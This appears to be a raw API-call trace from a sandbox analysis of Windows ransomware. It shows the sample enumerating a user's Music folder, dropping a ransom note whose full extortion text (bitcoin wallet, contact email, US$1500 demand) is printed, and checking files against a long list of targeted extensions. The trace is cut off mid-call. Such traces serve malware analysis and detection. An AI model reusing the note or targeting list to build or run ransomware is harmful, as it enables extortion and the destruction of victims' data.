dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.712] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.712] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.712] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42351e0, ftCreationTime.dwHighDateTime=0x1d5dc20, ftLastAccessTime.dwLowDateTime=0x344f0c60, ftLastAccessTime.dwHighDateTime=0x1d5e5fd, ftLastWriteTime.dwLowDateTime=0x344f0c60, ftLastWriteTime.dwHighDateTime=0x1d5e5fd, nFileSizeHigh=0x0, nFileSizeLow=0x13fc4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fVIXt.wav", cAlternateFileName="")) returned 1 [0090.712] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.712] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="fVIXt.wav") returned -1 [0090.712] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="fVIXt.wav") returned 1 [0090.712] lstrcmpiA (lpString1="", lpString2="fVIXt.wav") returned -1 [0090.712] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\*.*") returned="*.*" [0090.712] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" [0090.712] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\") returned="" [0090.712] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt" [0090.712] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\how to decrypt files.txt")) returned 0xffffffff [0090.713] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.713] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.713] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.715] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.715] CloseHandle (hObject=0x90) returned 1 [0090.715] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\", lpString2="fVIXt.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav" [0090.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.ems") returned 0 [0090.715] lstrlenA (lpString="*.ems") returned 5 [0090.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.db") returned 0 [0090.715] lstrlenA (lpString="*.db") returned 4 [0090.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.dbf") returned 0 [0090.715] lstrlenA (lpString="*.dbf") returned 5 [0090.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.myox") returned 0 [0090.715] lstrlenA (lpString="*.myox") returned 6 [0090.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.myo") returned 0 [0090.715] lstrlenA (lpString="*.myo") returned 5 [0090.715] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.qbw") returned 0 [0090.715] lstrlenA (lpString="*.qbw") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.qbb") returned 0 [0090.716] lstrlenA (lpString="*.qbb") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.qbm") returned 0 [0090.716] lstrlenA (lpString="*.qbm") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.qbo") returned 0 [0090.716] lstrlenA (lpString="*.qbo") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.qbx") returned 0 [0090.716] lstrlenA (lpString="*.qbx") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.qba") returned 0 [0090.716] lstrlenA (lpString="*.qba") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.qby") returned 0 [0090.716] lstrlenA (lpString="*.qby") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.qbj") returned 0 [0090.716] lstrlenA (lpString="*.qbj") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.ofx") returned 0 [0090.716] lstrlenA (lpString="*.ofx") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.qif") returned 0 [0090.716] lstrlenA (lpString="*.qif") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.mye") returned 0 [0090.716] lstrlenA (lpString="*.mye") returned 5 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.mbox") returned 0 [0090.716] lstrlenA (lpString="*.mbox") returned 6 [0090.716] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.eml") returned 0 [0090.717] lstrlenA (lpString="*.eml") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.pst") returned 0 [0090.717] lstrlenA (lpString="*.pst") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.ost") returned 0 [0090.717] lstrlenA (lpString="*.ost") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.idx") returned 0 [0090.717] lstrlenA (lpString="*.idx") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.dbx") returned 0 [0090.717] lstrlenA (lpString="*.dbx") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.sql") returned 0 [0090.717] lstrlenA (lpString="*.sql") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.mdb") returned 0 [0090.717] lstrlenA (lpString="*.mdb") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.fdb") returned 0 [0090.717] lstrlenA (lpString="*.fdb") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.wab") returned 0 [0090.717] lstrlenA (lpString="*.wab") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.dat") returned 0 [0090.717] lstrlenA (lpString="*.dat") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.txt") returned 0 [0090.717] lstrlenA (lpString="*.txt") returned 5 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.jpeg") returned 0 [0090.717] lstrlenA (lpString="*.jpeg") returned 6 [0090.717] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.jpg") returned 0 [0090.718] lstrlenA (lpString="*.jpg") returned 5 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.png") returned 0 [0090.718] lstrlenA (lpString="*.png") returned 5 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.php") returned 0 [0090.718] lstrlenA (lpString="*.php") returned 5 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.cs") returned 0 [0090.718] lstrlenA (lpString="*.cs") returned 4 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.cpp") returned 0 [0090.718] lstrlenA (lpString="*.cpp") returned 5 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.rar") returned 0 [0090.718] lstrlenA (lpString="*.rar") returned 5 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.zip") returned 0 [0090.718] lstrlenA (lpString="*.zip") returned 5 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.html") returned 0 [0090.718] lstrlenA (lpString="*.html") returned 6 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.htm") returned 0 [0090.718] lstrlenA (lpString="*.htm") returned 5 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.xlsx") returned 0 [0090.718] lstrlenA (lpString="*.xlsx") returned 6 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.xls") returned 0 [0090.718] lstrlenA (lpString="*.xls") returned 5 [0090.718] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.mp4") returned 0 [0090.719] lstrlenA (lpString="*.mp4") returned 5 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.ppt") returned 0 [0090.719] lstrlenA (lpString="*.ppt") returned 5 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.pptx") returned 0 [0090.719] lstrlenA (lpString="*.pptx") returned 6 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.doc") returned 0 [0090.719] lstrlenA (lpString="*.doc") returned 5 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.dot") returned 0 [0090.719] lstrlenA (lpString="*.dot") returned 5 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.docx") returned 0 [0090.719] lstrlenA (lpString="*.docx") returned 6 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.7z") returned 0 [0090.719] lstrlenA (lpString="*.7z") returned 4 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.tar") returned 0 [0090.719] lstrlenA (lpString="*.tar") returned 5 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.bz2") returned 0 [0090.719] lstrlenA (lpString="*.bz2") returned 5 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.gz") returned 0 [0090.719] lstrlenA (lpString="*.gz") returned 4 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.mkv") returned 0 [0090.719] lstrlenA (lpString="*.mkv") returned 5 [0090.719] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.eml") returned 0 [0090.719] lstrlenA (lpString="*.eml") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.msg") returned 0 [0090.720] lstrlenA (lpString="*.msg") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.edb") returned 0 [0090.720] lstrlenA (lpString="*.edb") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.accdb") returned 0 [0090.720] lstrlenA (lpString="*.accdb") returned 7 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.odb") returned 0 [0090.720] lstrlenA (lpString="*.odb") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.java") returned 0 [0090.720] lstrlenA (lpString="*.java") returned 6 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.asm") returned 0 [0090.720] lstrlenA (lpString="*.asm") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.pfx") returned 0 [0090.720] lstrlenA (lpString="*.pfx") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.pem") returned 0 [0090.720] lstrlenA (lpString="*.pem") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.p12") returned 0 [0090.720] lstrlenA (lpString="*.p12") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.gpg") returned 0 [0090.720] lstrlenA (lpString="*.gpg") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.vsd") returned 0 [0090.720] lstrlenA (lpString="*.vsd") returned 5 [0090.720] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.odg") returned 0 [0090.721] lstrlenA (lpString="*.odg") returned 5 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.raw") returned 0 [0090.721] lstrlenA (lpString="*.raw") returned 5 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.nef") returned 0 [0090.721] lstrlenA (lpString="*.nef") returned 5 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.svg") returned 0 [0090.721] lstrlenA (lpString="*.svg") returned 5 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.psd") returned 0 [0090.721] lstrlenA (lpString="*.psd") returned 5 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.vmx") returned 0 [0090.721] lstrlenA (lpString="*.vmx") returned 5 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.vmdk") returned 0 [0090.721] lstrlenA (lpString="*.vmdk") returned 6 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.vdi") returned 0 [0090.721] lstrlenA (lpString="*.vdi") returned 5 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.lay6") returned 0 [0090.721] lstrlenA (lpString="*.lay6") returned 6 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.mpeg") returned 0 [0090.721] lstrlenA (lpString="*.mpeg") returned 6 [0090.721] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.djvu") returned 0 [0090.721] lstrlenA (lpString="*.djvu") returned 6 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.tiff") returned 0 [0090.722] lstrlenA (lpString="*.tiff") returned 6 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.backup") returned 0 [0090.722] lstrlenA (lpString="*.backup") returned 8 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.pdf") returned 0 [0090.722] lstrlenA (lpString="*.pdf") returned 5 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.cert") returned 0 [0090.722] lstrlenA (lpString="*.cert") returned 6 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.docm") returned 0 [0090.722] lstrlenA (lpString="*.docm") returned 6 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.xlsm") returned 0 [0090.722] lstrlenA (lpString="*.xlsm") returned 6 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.dwg") returned 0 [0090.722] lstrlenA (lpString="*.dwg") returned 5 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.nd") returned 0 [0090.722] lstrlenA (lpString="*.nd") returned 4 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.tlg") returned 0 [0090.722] lstrlenA (lpString="*.tlg") returned 5 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.lgb") returned 0 [0090.722] lstrlenA (lpString="*.lgb") returned 5 [0090.722] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.mov") returned 0 [0090.723] lstrlenA (lpString="*.mov") returned 5 [0090.723] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.xdw") returned 0 [0090.723] lstrlenA (lpString="*.xdw") returned 5 [0090.723] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\fVIXt.wav", pszSpec="*.ods") returned 0 [0090.723] lstrlenA (lpString="*.ods") returned 5 [0090.723] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z 